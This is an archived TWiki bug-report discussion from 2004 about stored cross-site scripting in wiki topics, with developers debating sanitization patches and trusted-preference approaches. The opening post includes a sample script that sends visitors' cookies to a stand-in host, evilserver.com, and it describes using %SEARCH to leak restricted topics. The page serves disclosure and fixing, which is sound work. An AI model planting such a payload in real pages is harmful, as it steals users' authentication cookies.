Bug: Users can put javascript in topics
Users can insert arbitrary javascript into topics -- this can cause all manner of havoc. For example, a user can embed:
<script language="javascript">
document.write('<img src="http://evilserver.com/evil.cgi?' +
document.cookie + '">');
</script>
... into a topic, and collect the cookies of all visiting users (including authentication cookies for other web apps installed on the same server). Javascript also makes it easier to subvert the internal security of a twiki installation; a user can embed %SEARCH{"a" format="$text"} into a javascript block on a malicious page, for example. That means he can arrange for topics he can't view to be uploaded to him when a user who can view them opens the malicious page.
Fixing this is not trivial. Just de-HTML-ifying $text before it's substituted into the template is not enough, because the user can alter variables which are then inserted into the template. (I'm inclined to think that direct inclusion of HTML into twiki topics is a feature anyway, but that's a separate discussion.) Keeping track of what text is "trusted" and which is not, and then selectively sanitizing the trusted part, is an engineering nightmare.
The only really feasible way I can see to fix this is to sanitize all of the output of all of twiki's scripts, disallowing javascript in those pages. This has the big disadvantage of, well, not allowing javascript in those pages. Another big disadvantage is the staggering complexity of properly sanitizing arbitrary HTML with stylesheets; there are
some prepackaged scrubbing utilities available, though.
After complaining about this some time ago, trying to fix it, and giving up, I'm going to try again to come up with an implementation of the above approach sometime soon.
-- AndrewMoise - 22 Nov 2004
Follow up
With the advent of the$sanitizationMode. Just dumping the output of a live twiki into either of those sanitizers butchers a wide variety of necessary constructs, though. I've been focusing on getting HTML::StripScripts to work passably in practice; a very invasive patch against HTML::StripScripts is included as well. You'll need to apply it to see anything remotely correct. I've not been in touch with the upstream of HTML::StripScripts yet; I'll drop him a line tonight. Of course, getting some HTML sanitizer in shape upstream such that it works with twiki is a prerequisite to applying this approach to this problem.
Any javascript in the wiki is removed by this patch, of course, as well as (it seems) any CSS. PatternSkin doesn't work at all, needless to say; you'll need to set classic skin to see any workingness at all with this applied. Use at your own risk, no warranty expressed or implied, this patch as it stands will definitely break your wiki if you apply it.
-- AndrewMoise - 29 Nov 2004
Okay, I've got a version that works better. It uses HTML::Scrubber::StripScripts instead, which is what I should have done from the beginning (thanks to Nick Cleaton for pointing this out). The rules of sanitization are now:
- The html <head> is cleaned separately from the main body of the topic.
- If <head> is defined in the template, it is left unmolested, but no variables are substituted into it from places a non-local user of twiki could modify. The code path where the head is handled is kept very clean (though it needs to be lexically separated so this is clearer).
- The body is sanitized using the normal, untrusting procedure (though some use of styles is permitted).
- %FAVICON% and %HTTP_EQUIV_ON_VIEW% in templates are gone now, and they're not likely to come back under this approach (without special-case hackery, which wouldn't be all that awful, though I know it goes against twiki's design). The same is true of (legitimate) use of %WEBBGCOLOR% within <head>
- The scrubber isn't hip to xhtml-style beginning-and-ending-in-one-tag tags (e.g. <p/>). It should be pretty easy to fix.
- %REVTITLE% is gone, and it's probably worth special-case hackery to bring it back.
- Some styles (like the background color setting for broken wikiword links) still aren't passed through the filter even though they're legitimate.
- This doesn't protect against nasty HTML in a file attachment, of course, or against template developers being slightly careless and introducing insecurities (e.g. by loading a stylesheet from a place users can modify, which is currently true of PatternSkin).
-- AntonAylward - 03 Dec 2004
Okay, based on some feedback in RequireEXPLICITTagToEnableHTML I think I figured out a good approach. We can add a TWiki.TrustedPreferences topic, editable only by TWikiAdminGroup, with a list of variables that are substituted after the HTML sanitization is performed. All the javascript, stylesheet, HEAD, and related difficult-to-do-safely variables can be defined there. A plugin that needs javascript or something can simply tell the admin to add a variable there. This solves %FAVICON%, %HTTP_EQUIV_ON_VIEW%, the javascript needed by TWikiRegistration and CommentPlugin, and the calendar-plugin javascript problem. It preserves twiki's customizability while still providing safety. It also provides a single place in which to audit all the possibly unsafe content, and keeps the vulnerable code path (that deals with content outside the sanitization barrier) extremely short.
(Actually, in a standard installation, this "topic" should be a file in lib/, with an option to move it into a place where it will be treated as a topic. That way twiki is slightly more secure by default; having TrustedPreferences as a topic allows an attacker to escalate an editing-topics-without-permission vulnerability into a more serious XSS vulnerability.)
The only remaining problem I'm aware of is %WEBBGCOLOR% (and more generally, trusted variables that need to be defined on a per-web or per-user basis). I can see a couple of straightforward solutions to that, though; I'll see what makes the most sense when I actually start mucking with the code again.
-- AndrewMoise - 03 Dec 2004
OK, as a pragmatic finger-in-the-dyke what you describe ought to work. It requires plugins to be security concious, which may be a problem, but it's the simplest workable solution I've heard. I'd still prefer a proper mechanism for inherited taintedness, though.
-- CrawfordCurrie - 03 Dec 2004
Yes, as Crawford says, its the simplest workable solution in that it doens't wreak wholesale damage through TWiki and compartmentalizes the problem.
I'm not sure I see the difference between this and having TWikiPreferences and WebPreferences only editable by TWikiAdminGroup and using CommentPlugin agressively. Mostly because it doens't address INPUT and only focuses on what the topics already contain.
I'm assuming that if I set up a site and put some javascript in a topic to do a job that is what I want. My concern is not that a topic I created as site administrator has javascript in it but that someone could put some javascript in some other topic. Or worse, put something in the input field of a HTML form.
It also doesn't address the performance related issue that neither I nor my users want the javascript in topics where it isn't going to be used.
Andrew, if you're going to focus on code that alters "what is", you'd also better supply the code to "purge and relocate" the existing topics.
The more I look at mod_security the more I think its a more suitable solution.
As for the WEBBGCOLOR, its in WebPrefenences, which is only editable by TWikiAdminGroup and which is in the FINALPREFERENCES list. What? You mean you let users over-ride WEBBGCOLOR, HTTP_EQUIV_ON_VIEW/EDIT on a per-topic basis? Pray tell, why?
-- AntonAylward - 03 Dec 2004
Fix record
| WebForm | |
|---|---|
| TopicClassification | BugReport |
| TopicSummary | |
| InterestedParties | |
| AssignedTo | |
| AssignedToCore | |
| ScheduledFor | |
| RelatedTopics | RequireEXPLICITTagToEnableHTML |
| SpecProgress | |
| ImplProgress | |
| DocProgress | |
| I | Attachment | History | Action | Size | Date | Who | Comment |
|---|---|---|---|---|---|---|---|
 patch |
scrubber-stripscripts-random-0.1.patch | r1 | manage | 11.5 K | 2004-12-01 - 05:49 | UnknownUser | Patch against HTML::Scrubber::StripScripts 0.02 to make it work with twiki |
| patch |
twiki-disable-javascript-0.1.patch | r1 | manage | 21.0 K | 2004-12-01 - 05:44 | UnknownUser | Patch against twiki that implements the sanitize-whole-output approach |
Topic revision: r9 - 2004-12-03 - AntonAylward
Site map
Blog web
Create New Topic
Index
Search
Advanced search
My topics of interest
Changes
Major changes only
All tags
Notifications
RSS Feed
Statistics
Preferences
Community 
Readme first
Developers News
How you can help
Community roles
#twiki IRC
Lima Release
Feature Proposals
Bugs Changes
Categories 
Account 
Ideas, requests, problems regarding TWiki? Send feedback. Ask community in the support forum.Copyright © 1999-2026 by the contributing authors. All material on this collaboration platform is the property of the contributing authors.